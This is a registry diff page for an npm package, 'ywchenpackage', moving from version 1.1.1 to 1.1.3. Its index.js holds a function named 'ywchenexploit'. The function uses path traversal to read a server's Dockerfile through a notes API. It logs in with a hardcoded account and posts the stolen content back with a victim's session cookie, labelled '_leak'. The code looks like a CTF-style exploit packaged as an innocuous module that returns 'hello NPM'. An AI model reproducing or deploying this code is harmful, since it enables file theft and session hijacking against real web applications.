ywchenpackage 1.1.1 → 1.1.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +26 -23
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,7 +1,6 @@
1
1
  function ywchenexploit(cookie) {
2
2
  let stolenurl = "/api/notes?id=/proc/self/cwd/Dockerfile";
3
3
  let c2path = "/api/notes";
4
- let stolen;
5
4
  fetch(stolenurl)
6
5
  .then(
7
6
  (response) => {
@@ -9,29 +8,33 @@ function ywchenexploit(cookie) {
9
8
  }
10
9
  ).then(
11
10
  (response) => {
12
- stolen = response[0];
11
+ let stolen = response[0];
13
12
  stolen.author = "aaaa";
14
- });
13
+ fetch(
14
+ "/login",
15
+ {
16
+ method: "POST",
17
+ headers: {
18
+ "content-type": "application/x-www-form-urlencoded"
19
+ },
20
+ body: "username=ywchen&password=ywchen"
21
+ }
22
+ ).then(
23
+ (response) => {
24
+ fetch(
25
+ c2path, {
26
+ method: "POST",
27
+ headers: {
28
+ "content-type": "application/json",
29
+ "cookie": "session="+cookie
30
+ },
31
+ body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.content})
32
+ }
33
+ );
34
+ }
35
+ );
36
+ }
37
+ );
15
38
 
16
- fetch(
17
- "/login", {
18
- method: "POST",
19
- headers: {
20
- "content-type": "application/x-www-form-urlencoded"
21
- },
22
- body: "username=ywchen&password=ywchen"
23
- }).then(
24
- (response) => {
25
- fetch(
26
- c2path, {
27
- method: "POST",
28
- headers: {
29
- "content-type": "application/json",
30
- "cookie": "session="+cookie
31
- },
32
- body: JSON.stringify({"title":stolen.title+"_leak","content":stolen.content})
33
- }
34
- );
35
- });
36
39
  return "hello NPM"
37
40
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ywchenpackage",
3
- "version": "1.1.1",
3
+ "version": "1.1.3",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {